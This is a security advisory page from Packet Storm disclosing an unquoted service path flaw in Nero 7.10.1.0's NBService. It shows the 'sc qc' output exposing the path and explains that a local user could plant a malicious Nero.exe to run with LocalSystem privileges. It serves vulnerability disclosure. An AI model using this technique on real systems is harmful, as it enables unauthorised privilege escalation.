what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Nero 7.10.1.0 Privilege Escalation

Nero 7.10.1.0 Privilege Escalation
Posted Nov 10, 2016
Authored by Boumediene Kaddour

Nero version 7.10.1.0 suffers from an unquoted service path privilege escalation vulnerability.

tags | exploit
SHA-256 | bad453dd996e32dcdd658e911ef7091ccb817266a006aad8aa09bc2e7fc877b3

Nero 7.10.1.0 Privilege Escalation

Change Mirror Download
# Exploit Title:  Nero 7 Unquoted Service Path Elevation Of Privilege
# Disclosure Date: 09/11/2016
# Exploit Author: Boumediene KADDOUR a.k.a Sh311c0d3r
# http://www.realistic-security.org
# Version: Nero version 7.10.1.0
# Tested on: Windows 7 integral edition FR
# CVE : N/A

Vulnerability Details:
=====================
The nero 7 suffers from an unquoted search path issue impacting the
service "NBService" leading to arbitrary code execution, this could
potentially allow an authorized unprivileged user to invoke a malicious
peice of code with elevated privileges.
A successful exploit requires a local user to put its own code in the
path of the vulnerable application where it could potentially be
executed during the software startup or system reboot.

PoC
--
[PentestingSkills.BlackBox] a$? sc qc NBService
[SC] QueryServiceConfig rA(c)ussite(s)

SERVICE_NAME: NBService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Nero\Nero 7\Nero
BackItUp\NBService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NBService
DEPENDENCIES : RPCSS
SERVICE_START_NAME : LocalSystem

notice the path C:\Program Files (x86)\Nero\Nero 7\Nero
BackItUp\NBService.exe unquoted !!
a malicious local user could put in place its own executable as Nero.exe
under C:\Program Files (x86)\Nero\ to be then executed once the
application starts up or the system reboots.

sh311c0d3r
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close